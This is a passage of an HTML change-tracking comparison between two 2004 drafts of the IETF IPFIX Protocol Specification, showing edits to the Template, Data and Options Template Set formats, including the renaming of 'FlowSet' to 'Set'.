=0C                   IPFIX Protocol Specifications             July 2004=
</font></strike> Record=20
   format because they allow the Collecting Process to process Flow=20
   Records without necessarily knowing the interpretation of all the=20
   data in the Flow Record.  A Template <strike><font color=3Dred>FlowSet=
</font></strike> <strong><font color=3Dgreen>Set</font></strong> MAY excl=
usively contain=20
   IETF defined Field Types.  A Template <strike><font color=3Dred>FlowSe=
t</font></strike> <strong><font color=3Dgreen>Set</font></strong> MAY con=
tain Vendor=20
   Specified Information Elements from <strike><font color=3Dred>multiple=
</font></strike> <strong><font color=3Dgreen>one or more</font></strong> =
vendors.  =20
   =20
   The format of the Template <strike><font color=3Dred>FlowSet</font></s=
trike> <strong><font color=3Dgreen>Set</font></strong> is shown in Figure=
 <strike><font color=3Dred>D.</font></strike> <strong><font color=3Dgreen=
>H.</font></strong>  =20
   =20
       0                   1                   2                   3 =20
       0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 =20
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ =20
      |       <strike><font color=3Dred>FlowSet</font></strike>          =
<strong><font color=3Dgreen>Set</font></strong> ID =3D 2           |     =
     Length               | =20
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ =20
      |      Template ID <strike><font color=3Dred>1</font></strike> <str=
ong><font color=3Dgreen>256</font></strong>          |         Field Coun=
t           | =20
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ =20
      |        Field Type 1           |         Field Length 1        | =20
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ =20
      |                    Enterprise Number  1.1                     | =20
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ =20
      |        Field Type 2           |         Field Length 2        | =20
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ =20
      |             ...               |              ...              | =20
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ =20
      |        Field Type N           |         Field Length N        | =20
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  =
=20
=20
=20
  <strong><font color=3Dgreen>Claise, et. al            Standard Track   =
                [Page 23]=20
                   IPFIX Protocol Specification            August 2004</f=
ont></strong>=20
=20
=20
      |                    Enterprise Number  1.N                     |=20
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ =20
      |      Template ID <strike><font color=3Dred>2</font></strike> <str=
ong><font color=3Dgreen>257</font></strong>          |         Field Coun=
t           | =20
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ =20
      |        Field Type 1           |         Field Length 1        | =20
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ =20
      |        Field Type 2           |         Field Length 2        | =20
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ =20
      |                    Enterprise Number  2.2                     |=20
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ =20
      |             ...               |              ...              | =20
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ =20
      |        Field Type M           |         Field Length M        | =20
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ =20
      |                    Enterprise Number  2.M                     |=20
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ =20
      |                          Padding (opt)                        |=20
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+=20
=20
=20
 <strike><font color=3Dred>Claise, et. al             Standard Track     =
              [Page 24]=20
=0C                   IPFIX Protocol Specifications             July 2004=
</font></strike>=20
   =20
      Figure <strike><font color=3Dred>D:</font></strike> <strong><font c=
olor=3Dgreen>H:</font></strong> Template <strike><font color=3Dred>Flowse=
t</font></strike> <strong><font color=3Dgreen>Set Format</font></strong>=20
   =20
   The Template <strike><font color=3Dred>FlowSet</font></strike> <strong=
><font color=3Dgreen>Set</font></strong> Field Definitions are as follows=
:=20
   =20
     <strike><font color=3Dred>FlowSet</font></strike>=20
   =20
     <strong><font color=3Dgreen>Set</font></strong> ID=20
           <strike><font color=3Dred>FlowSet</font></strike>=20
           <strong><font color=3Dgreen>Set</font></strong> ID value of 2 =
is reserved for the Template <strike><font color=3Dred>FlowSet</font></st=
rike> <strong><font color=3Dgreen>Set.</font></strong>=20
=20
     Length=20
           Total length of this <strike><font color=3Dred>FlowSet.</font>=
</strike> <strong><font color=3Dgreen>Set.</font></strong>  Because an in=
dividual Template=20
           <strike><font color=3Dred>FlowSet</font></strike>=20
           <strong><font color=3Dgreen>Set</font></strong> MAY contain mu=
ltiple Template Records, the Length value=20
           MUST be used to determine the position of the next=20
           <strike><font color=3Dred>FlowSet</font></strike> <strong><fon=
t color=3Dgreen>Set</font></strong>=20
           record, which could be any type of <strike><font color=3Dred>F=
lowSet.</font></strike> <strong><font color=3Dgreen>Set.</font></strong> =
 Length is the sum=20
           of the lengths of the <strike><font color=3Dred>FlowSet</font>=
</strike> <strong><font color=3Dgreen>Set</font></strong> ID, the Length =
itself, and all=20
           Template Records within this <strike><font color=3Dred>FlowSet=
.</font></strike> <strong><font color=3Dgreen>Set.</font></strong>=20
           =20
     Template ID=20
           Each of the newly generated Template Records is given a=20
           unique Template ID.  This uniqueness is local to the=20
           Observation Domain that generated the Template ID.      =20
           Template IDs 0-255 are reserved for Template <strike><font col=
or=3Dred>FlowSets,</font></strike> <strong><font color=3Dgreen>Sets,</fon=
t></strong> Options <strike><font color=3Dred>FlowSets,</font></strike>=20
           <strong><font color=3Dgreen>Sets,</font></strong> and other re=
served <strike><font color=3Dred>FlowSets</font></strike> <strong><font c=
olor=3Dgreen>Sets</font></strong> yet to be created.  Template=20
           IDs of Data <strike><font color=3Dred>FlowSets</font></strike>=
 <strong><font color=3Dgreen>Sets</font></strong> are numbered from 256 t=
o 65535.=20
           =20
     Field Count=20
=20
=20
  <strong><font color=3Dgreen>Claise, et. al            Standard Track   =
                [Page 24]=20
                   IPFIX Protocol Specification            August 2004</f=
ont></strong>=20
=20
=20
           Number of fields in this Template Record.  Because a=20
           Template=20
           <strike><font color=3Dred>FlowSet</font></strike> <strong><fon=
t color=3Dgreen>Set</font></strong> usually contains multiple Template Re=
cords,=20
           this field allows the Collecting Process to determine the=20
           end of the current Template Record and the start of the=20
           next.=20
           =20
     Field Type=20
           A numeric value that represents the type of the field. =20
           Refer to [IPFIX-INFO].=20
              =20
     Field Length=20
           The length of the corresponding Field Type, in bytes.  Refer=20
           to [IPFIX-INFO].=20
           =20
      Enterprise Number =20
           IANA enterprise number [PEN] of the authority defining the =20
           <strike><font color=3Dred>field type in this template record.=20
     =20
=20
=20
 Claise, et. al             Standard Track                   [Page 25]=20
=0C                   IPFIX Protocol Specifications             July 2004=
</font></strike> =20
           <strong><font color=3Dgreen>Field Type.</font></strong>=20
     =20
      Padding =20
           The Exporting Process MAY insert some padding bytes, so that=20
           the subsequent <strike><font color=3Dred>FlowSet</font></strik=
e> <strong><font color=3Dgreen>Set</font></strong> starts at an aligned b=
oundary.  Padding=20
           MUST be composed of zero (0) <strike><font color=3Dred>bits.</=
font></strike> <strong><font color=3Dgreen>bytes.</font></strong>  The pa=
dding length MUST=20
           be shorter than <strike><font color=3Dred>one</font></strike> =
<strong><font color=3Dgreen>any allowable</font></strong> Template <strik=
e><font color=3Dred>Record.</font></strike> <strong><font color=3Dgreen>R=
ecord in this=20
           Template Set.</font></strong>  It is important to note that th=
e Length field=20
           includes the padding bits.  Because Template <strike><font col=
or=3Dred>Flowsets</font></strike> <strong><font color=3Dgreen>Sets</font>=
</strong> are always=20
           4-byte aligned by definition padding is only needed in case=20
           of other alignments e.g. on 8-byte boundaries.=20
           =20
   The <strike><font color=3Dred>FlowSet</font></strike> <strong><font co=
lor=3Dgreen>Set</font></strong> ID value of 0 <strike><font color=3Dred>i=
s reserved</font></strike> <strong><font color=3Dgreen>and 1 are not used=
</font></strong> for <strike><font color=3Dred>backwards compatibility of=
=20
   the Template FlowSet: the Template specified in this document is a=20
   superset of the Template specified in</font></strike> <strong><font co=
lor=3Dgreen>historical reasons</font></strong>=20
   [NETFLOW9]. <strike><font color=3Dred>The Template=20
   specified in this document that would contain only IETF defined=20
   Field Types would be equivalent to the Template specification in=20
   [NETFLOW9], with the only exception that the FlowSet ID value is 0.</f=
ont></strike>=20
   =20
 7.4      Data <strike><font color=3Dred>FlowSet Format</font></strike> <=
strong><font color=3Dgreen>Set</font></strong>=20
   =20
   The format of the Data <strike><font color=3Dred>FlowSet</font></strik=
e> <strong><font color=3Dgreen>Set</font></strong> is <strike><font color=
=3Dred>as follows:</font></strike> <strong><font color=3Dgreen>shown in F=
igure I.</font></strong>=20
   =20
    0                   1                   2                   3=20
    0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1=20
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+=20
   |    <strike><font color=3Dred>FlowSet</font></strike>   <strong><font=
 color=3Dgreen>Set</font></strong> ID =3D Template ID        |          L=
ength               |=20
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+=20
   |   Record 1 - Field Value 1    |   Record 1 - Field Value 2    |=20
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+=20
   |   Record 1 - Field Value 3    |             ...               |=20
=20
=20
  <strong><font color=3Dgreen>Claise, et. al            Standard Track   =
                [Page 25]=20
                   IPFIX Protocol Specification            August 2004</f=
ont></strong>=20
=20
=20
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+=20
   |   Record 2 - Field Value 1    |   Record 2 - Field Value 2    |=20
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+=20
   |   Record 2 - Field Value 3    |             ...               |=20
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+=20
   |   Record 3 - Field Value 1    |             ...               |=20
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+=20
   |              ...              |        Padding (opt)          |=20
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  =20
   =20
      <strong><font color=3Dgreen>Figure I: Data Set Format</font></stron=
g>=20
   =20
   Note that not all Field Values do necessarily have a length of <strike=
><font color=3Dred>16=20
   bit.=20
   =20
   Data FlowSet Field Descriptions =20
=20
=20
 Claise, et. al             Standard Track                   [Page 26]=20
=0C                   IPFIX Protocol Specifications             July 2004=
=20
=20
=20
   =20
   FlowSet</font></strike> <strong><font color=3Dgreen>16=20
   bit.=20
   =20
   Data Set Field Descriptions are as follows:=20
   =20
   Set</font></strong> ID =3D Template ID=20
           Each Data <strike><font color=3Dred>FlowSet</font></strike> <s=
trong><font color=3Dgreen>Set</font></strong> is associated with a <strik=
e><font color=3Dred>FlowSet</font></strike> <strong><font color=3Dgreen>S=
et</font></strong> ID.  The=20
           <strike><font color=3Dred>FlowSet</font></strike> <strong><fon=
t color=3Dgreen>Set</font></strong> ID maps=20
           to a (previously generated) Template ID.  The Collecting=20
           Process MUST use the <strike><font color=3Dred>FlowSet</font><=
/strike> <strong><font color=3Dgreen>Set</font></strong> ID to find the c=
orresponding=20
           Template Record and decode the Flow Records from the <strike><=
font color=3Dred>FlowSet.</font></strike> <strong><font color=3Dgreen>Set=
.</font></strong>=20
           =20
   Length=20
           The length of this <strike><font color=3Dred>FlowSet.</font></=
strike> <strong><font color=3Dgreen>Set.</font></strong>  =20
           Length is the sum total of lengths of <strike><font color=3Dre=
d>FlowSet</font></strike> <strong><font color=3Dgreen>Set</font></strong>=
 ID, Length itself,=20
           all Flow Records within this <strike><font color=3Dred>FlowSet=
,</font></strike> <strong><font color=3Dgreen>Set,</font></strong> and th=
e padding bytes, if=20
           any.=20
                 =20
   Record N - Field Value M=20
           The remainder of the Data <strike><font color=3Dred>FlowSet</f=
ont></strike> <strong><font color=3Dgreen>Set</font></strong> is a collec=
tion of Flow Data=20
           Record(s), each containing a set of <strike><font color=3Dred>=
field types</font></strike> <strong><font color=3Dgreen>Field Types</font=
></strong> and values. =20
           The Type and Length of the fields have been previously=20
           defined in the Template Record referenced by the=20
           <strike><font color=3Dred>FlowSet</font></strike> <strong><fon=
t color=3Dgreen>Set</font></strong> ID or=20
           Template ID.=20
           =20
   Padding =20
           The Exporting Process MAY insert some padding bytes, so that=20
           the subsequent <strike><font color=3Dred>FlowSet</font></strik=
e> <strong><font color=3Dgreen>Set</font></strong> starts at an aligned b=
oundary.  Padding=20
           MUST be composed of zero (0) <strike><font color=3Dred>bits.</=
font></strike> <strong><font color=3Dgreen>bytes.</font></strong>  The pa=
dding length MUST=20
           be shorter than <strike><font color=3Dred>one</font></strike> =
<strong><font color=3Dgreen>any allowable</font></strong> Flow Data <stri=
ke><font color=3Dred>Record.</font></strike> <strong><font color=3Dgreen>=
Record in this Data=20
           Set.</font></strong>  It is important to note that the Length =
field includes=20
           the padding bits.=20
=20
=20
  <strong><font color=3Dgreen>Claise, et. al            Standard Track   =
                [Page 26]=20
                   IPFIX Protocol Specification            August 2004</f=
ont></strong>=20
=20
=20
   =20
   Interpretation of the Data <strike><font color=3Dred>FlowSet</font></s=
trike> <strong><font color=3Dgreen>Set</font></strong> format can be done=
 only if the=20
   Template <strike><font color=3Dred>FlowSet</font></strike> <strong><fo=
nt color=3Dgreen>Set</font></strong> corresponding to the Template ID is =
available at the=20
   Collecting Process.   =20
   =20
 7.5      Options Template <strike><font color=3Dred>FlowSet Format</font=
></strike> <strong><font color=3Dgreen>Set</font></strong>=20
   =20
   The Options Template Record (and its corresponding Options Data=20
   Record) is used to supply information about the Metering Process=20
   configuration or Metering Process specific data, rather than=20
   supplying information about IP Flows.=20
   =20
   For example, the Options Template <strike><font color=3Dred>FlowSet</f=
ont></strike> <strong><font color=3Dgreen>Set</font></strong> can report =
the sample rate of=20
   a specific interface, if sampling is supported, along with the=20
   sampling method used.  =20
   =20

 <strong><font color=3Dgreen>7.5.1   Scope=20
   =20
   The Options Template Set gives the Exporter the ability to provide=20
   additional information to the Collector which would not be possible=20
   with only Flow Records. The scope, which is only available in the=20
   Options Template Set, gives the context of the reported Information=20
   Elements.  One Options Template Set example is the "Metering Process=20
   statistics", which reports the statistics for the Observation=20
   Domain, which is defined as the scope.  Another example is the=20
   "Template configuration", which reports the configuration sampling=20
   parameter(s) for the template, which is defined as the scope.  =20
   =20
   Multiple scope fields MAY be present in the Options Template Set,=20
   in which, the composite scope is the combination of the scopes.=20
   For example, if the two scopes are defined as "cache" and=20
   "template", the combined scope is this template in this cache.  The=20
   order of the scope, as defined in the Options Template Set, is in=20
   this case irrelevant. However, if the order of the scopes fields in=20
   the Option Template Set is relevant, the order of the scope fields=20
   MUST be used.  For example, if the first scope defines the filtering=20
   function, while the second scope defines the sampling function, the=20
   order of the scope is important. Applying first the sampling=20
   function, followed by the filtering function, would lead to=20
   potential different Flow Records than applying first the filtering=20
   function, followed by the filtering function.  In this case, the</font=
></strong>=20

=20
=20
  Claise, et. al            Standard Track                   [Page 27]=20
                   IPFIX Protocol <strike><font color=3Dred>Specification=
s             July</font></strike> <strong><font color=3Dgreen>Specificat=
ion            August</font></strong> 2004=20
=20
=20
 <strike><font color=3Dred>7.5.1</font></strike>=20
=20
=20
   <strong><font color=3Dgreen>Collector deduces the function order by lo=
oking at the order of the=20
   scope in the</font></strong> Options Template <strike><font color=3Dre=
d>FlowSet</font></strike> <strong><font color=3Dgreen>Set. =20
   =20
   Finally, note that the scope length MAY NOT be null=20

 7.5.2   Options Template Set</font></strong> Format=20
   =20
   <strike><font color=3Dred>A</font></strike>=20
   =20
   <strong><font color=3Dgreen>An</font></strong> Options Template MAY ex=
clusively contain IETF defined Field=20
   Types.=20
   <strike><font color=3Dred>A</font></strike>  <strong><font color=3Dgre=
en>An</font></strong> Options Template MAY contain Vendor Specified Infor=
mation=20
   Elements from multiple vendors.  <strong><font color=3Dgreen>An Option=
s Template MAY contain=20
   IETF defined Field Types and Vendor Specified Information Elements.</f=
ont></strong>=20
   =20
   The format of the Options Template <strike><font color=3Dred>FlowSet</=
font></strike> <strong><font color=3Dgreen>Set</font></strong> is shown i=
n Figure <strike><font color=3Dred>E.</font></strike> <strong><font color=
=3Dgreen>J.</font></strong>  =20
   =20
       0                   1                   2                   3 =20
       0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 =20
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ =20
      |       <strike><font color=3Dred>FlowSet</font></strike>          =
<strong><font color=3Dgreen>Set</font></strong> ID =3D 3           |     =
     Length               | =20
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ =20
      |         Template ID           |      Option Scope Length      | =20
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ =20
      |        Option Length          |      Scope 1 Field Type       | =20
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ =20
      |     Scope 1 Field Length      |      <strong><font color=3Dgreen>=
Scope 2 Field Type       | =20
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ =20
      |     Scope 2 Field Length      |</font></strong>             ...  =
             | =20
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ =20
      |            ...                |      Scope N Field Type       |=20
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+=20
      |     Scope N Field Length      |         Scope <strike><font color=
=3Dred>N...</font></strike> <strong><font color=3Dgreen>N ...</font></str=
ong>           | =20
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ =20
      |    ... Enterprise Number      |      Option 1 Field Type      |  =
    =20
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ =20
      |    Option 1 Field Length      |           Option 1 ...        | =20
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ =20
      |     <strike><font color=3Dred>...Enterprise</font></strike>    <s=
trong><font color=3Dgreen>... Enterprise</font></strong> Number      |   =
           ...              | =20
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ =20
      |             ...               |       Option <strike><font color=3D=
red>N</font></strike> <strong><font color=3Dgreen>M</font></strong> Field=
 Type     | =20
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ =20
      |     Option <strike><font color=3Dred>N</font></strike> <strong><f=
ont color=3Dgreen>M</font></strong> Field Length     |         Padding (o=
pt)         | =20
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ =20
   =20

=20
=20
  <strong><font color=3Dgreen>Claise, et. al            Standard Track   =
                [Page 28]=20
                   IPFIX Protocol Specification            August 2004</f=
ont></strong>=20
=20
=20
      Figure <strike><font color=3Dred>E:</font></strike> <strong><font c=
olor=3Dgreen>J:</font></strong> Option Template <strike><font color=3Dred=
>FlowSet</font></strike> <strong><font color=3Dgreen>Set Format</font></s=
trong>=20
   =20
   The Options Template <strike><font color=3Dred>FlowSet</font></strike>=
 <strong><font color=3Dgreen>Set</font></strong> Field Definitions are as=
 follows:=20
   =20
   <strike><font color=3Dred>FlowSet</font></strike>=20
   =20
   <strong><font color=3Dgreen>Set</font></strong> ID =3D <strike><font c=
olor=3Dred>1</font></strike> <strong><font color=3Dgreen>3</font></strong=
>=20
           A <strike><font color=3Dred>FlowSet</font></strike> <strong><f=
ont color=3Dgreen>Set</font></strong> ID value of 3 is reserved for the O=
ptions Template.=20

=20
=20
 <strike><font color=3Dred>Claise, et. al             Standard Track     =
              [Page 28]=20
=0C                   IPFIX Protocol Specifications             July 2004=
</font></strike>=20
   =20
   Length=20
           Total length of this <strike><font color=3Dred>FlowSet,</font>=
</strike> <strong><font color=3Dgreen>Set,</font></strong> including the =
padding bytes, if=20
           any.  Each Options Template <strike><font color=3Dred>FlowSet<=
/font></strike> <strong><font color=3Dgreen>Set</font></strong> MAY conta=
in multiple Options=20
           Template Records.  Thus, the Length value MUST be used to=20
           determine the position of the next <strike><font color=3Dred>F=
lowSet</font></strike> <strong><font color=3Dgreen>Set</font></strong> re=
cord, which could=20
           be either a Template <strike><font color=3Dred>FlowSet</font><=
/strike> <strong><font color=3Dgreen>Set</font></strong> or Data <strike>=
<font color=3Dred>FlowSet.</font></strike> <strong><font color=3Dgreen>Se=
t.</font></strong>                =20
           Length is the sum total of lengths of <strike><font color=3Dre=
d>FlowSet</font></strike> <strong><font color=3Dgreen>Set</font></strong>=
 ID, the Length=20
           itself, and all Options Template Records within this <strike><=
font color=3Dred>FlowSet</font></strike> <strong><font color=3Dgreen>Set<=
/font></strong>=20
           Template ID.=20
   =20
   Template ID=20
           Template ID of this Options Template.  This value is greater=20
           than 255.=20
    =20
   Option Scope Length=20
           The length in bytes of any Scope fields definition contained=20
           in the Options Template Record (The use of "Scope" is=20
           described below).  =20
   =20
   Option Length=20
           The length (in bytes) of any options field definitions=20
           contained in this Options Template Record.=20
   =20
   Scope <strike><font color=3Dred>1</font></strike> Field Type=20
           <strike><font color=3Dred>The relevant portion of the Exportin=
g Process/Metering=20
           Process to which the Options Data Record refers.=20
           Currently defined values are: =20
               1 System  =20
               2 Interface =20
               3 Line Card =20
               4 Cache =20
               5 Template        =20
           For example, the Metering Process can be implemented on a=20
           per-interface basis, so if the Options Template Record were=20
           reporting on how the Metering Process is configured, the=20
           Scope for the report would be 2 (interface). The associated=20
           interface ID would then be carried in the associated Options=20
           Data FlowSet. The Scope can be limited further by listing=20
           multiple scopes that all must match at the same time. Note</fo=
nt></strike>=20
           <strong><font color=3Dgreen>A numeric value</font></strong> th=
at <strong><font color=3Dgreen>represents</font></strong> the <strike><fo=
nt color=3Dred>Scope fields always precede</font></strike> <strong><font =
color=3Dgreen>type of</font></strong> the <strike><font color=3Dred>Optio=
n fields.</font></strike> <strong><font color=3Dgreen>field. =20
           Refer to [IPFIX-INFO].</font></strong>=20
           =20
   Scope <strike><font color=3Dred>1</font></strike> Field Length=20
=20
=20
 <strike><font color=3Dred>Claise, et. al             Standard Track     =
              [Page 29]=20
=0C                   IPFIX Protocol Specifications             July 2004=
</font></strike>=20
           The length (in bytes) of the Scope field, as it would appear=20
           in an Options Data Record.=20
           =20
   Scope N Enterprise Number =20
           IANA enterprise number [PEN] of the authority defining =20
           Scope <strike><font color=3Dred>N.</font></strike> <strong><fo=
nt color=3Dgreen>N Field Type. This is 4 bytes long.</font></strong>=20
   =20
   Option <strike><font color=3Dred>1</font></strike> Field Type=20
=20
=20
  <strong><font color=3Dgreen>Claise, et. al            Standard Track   =
                [Page 29]=20
                   IPFIX Protocol Specification            August 2004</f=
ont></strong>=20
=20
=20
           A numeric value that represents the type of <strike><font colo=
r=3Dred>field that would=20
           appear in the Options Template Record.</font></strike> <strong=
><font color=3Dgreen>field.</font></strong>  Refer to <strike><font color=
=3Dred>[IPFIX-
           INFO].</font></strike>=20
           <strong><font color=3Dgreen>[IPFIX-INFO].</font></strong>=20
           =20
   Option <strike><font color=3Dred>1</font></strike> Field Length=20
           The length <strike><font color=3Dred>(in bytes)</font></strike=
> of the <strong><font color=3Dgreen>corresponding</font></strong> Option=
 <strike><font color=3Dred>Field.</font></strike> <strong><font color=3Dg=
reen>Field Type, in bytes. =20
           Refer to [IPFIX-INFO].</font></strong>=20
           =20
    Option <strike><font color=3Dred>N</font></strike> <strong><font colo=
r=3Dgreen>M</font></strong> Enterprise Number =20
           IANA enterprise number [PEN] of the authority defining the=20
           Option <strike><font color=3Dred>N field type.</font></strike>=
 <strong><font color=3Dgreen>M Field Type. This is 4 bytes long.</font></=
strong>=20
           =20
   Padding =20
           The Exporting Process MAY insert some padding bytes, so that=20
           the subsequent <strike><font color=3Dred>FlowSet</font></strik=
e> <strong><font color=3Dgreen>Set</font></strong> starts at an aligned b=
oundary.  Padding=20
           MUST be composed of zero (0) <strike><font color=3Dred>bits.</=
font></strike> <strong><font color=3Dgreen>bytes.</font></strong>  The pa=
dding length MUST=20
           be shorter than <strike><font color=3Dred>one</font></strike> =
<strong><font color=3Dgreen>any allowable</font></strong> Options Templat=
e <strike><font color=3Dred>Record.</font></strike> <strong><font color=3D=
green>Record in=20
           this Options Template Set.</font></strong>  It is important to=
 note that the=20
           Length field includes the padding bits.=20
   =20
   The <strike><font color=3Dred>FlowSet</font></strike> <strong><font co=
lor=3Dgreen>Set</font></strong> ID value of <strong><font color=3Dgreen>0=
 and</font></strong> 1 <strike><font color=3Dred>is reserved</font></stri=
ke> <strong><font color=3Dgreen>are not used</font></strong> for <strike>=
<font color=3Dred>backwards compatibility of=20
   the Option Template FlowSet: the Option Template specified in this=20
   document is a superset of the Option Template specified in</font></str=
ike> <strong><font color=3Dgreen>historical reasons</font></strong>=20
   [NETFLOW9]. <strike><font color=3Dred>The Option Template specified in=
 this document that=20
   would contain only IETF defined Field Types would be equivalent to=20
   the Option Template specification in [NETFLOW9], with the only=20
   exception that the FlowSet ID value is 1.=20
           =20

 7.5.2</font></strike>=20

 <strong><font color=3Dgreen>7.5.3</font></strong>   Options Data Record =
Format=20
   =20
   The Options Data Records are sent in Data <strike><font color=3Dred>Fl=
owSets, on a regular=20
   basis, but not with every Flow Data Record. How frequently these=20
   Options Data Records are exported is configurable. See the Templates=20
   Management" section for more details.=20
   =20
=20
=20
 Claise, et. al             Standard Track                   [Page 30]=20
=0C                   IPFIX Protocol Specifications             July 2004=
</font></strike> <strong><font color=3Dgreen>Sets.</font></strong>=20
   =20
   The format of the Data <strike><font color=3Dred>FlowSet</font></strik=
e> <strong><font color=3Dgreen>Set,</font></strong> containing Options Da=
ta <strike><font color=3Dred>Records=20
   follows.</font></strike> <strong><font color=3Dgreen>Records, is=20
   shown in Figure K.</font></strong>  =20
   =20
    0                   1                   2                   3=20
    0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1=20
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+=20
   |    <strike><font color=3Dred>FlowSet</font></strike>      <strong><f=
ont color=3Dgreen>Set</font></strong> ID =3D Template ID     |          L=
ength               |=20
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+=20
   |   Record 1 - Scope 1 Value    |   Record 1 - Scope 2 Value    |=20
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+=20
   |              ...              |Record 1 - Option Field 1 Value|=20
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+=20
   |Record 1 - Option Field 2 Value|             ...               |=20
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+=20
   |   Record 2 - Scope 1 Value    |   Record 2 - Scope 2 Value    |=20
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+=20
   |              ...              |Record 2 - Option Field 1 Value|=20
=20
=20
  <strong><font color=3Dgreen>Claise, et. al            Standard Track   =
                [Page 30]=20
                   IPFIX Protocol Specification            August 2004</f=
ont></strong>=20
=20
=20
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+=20
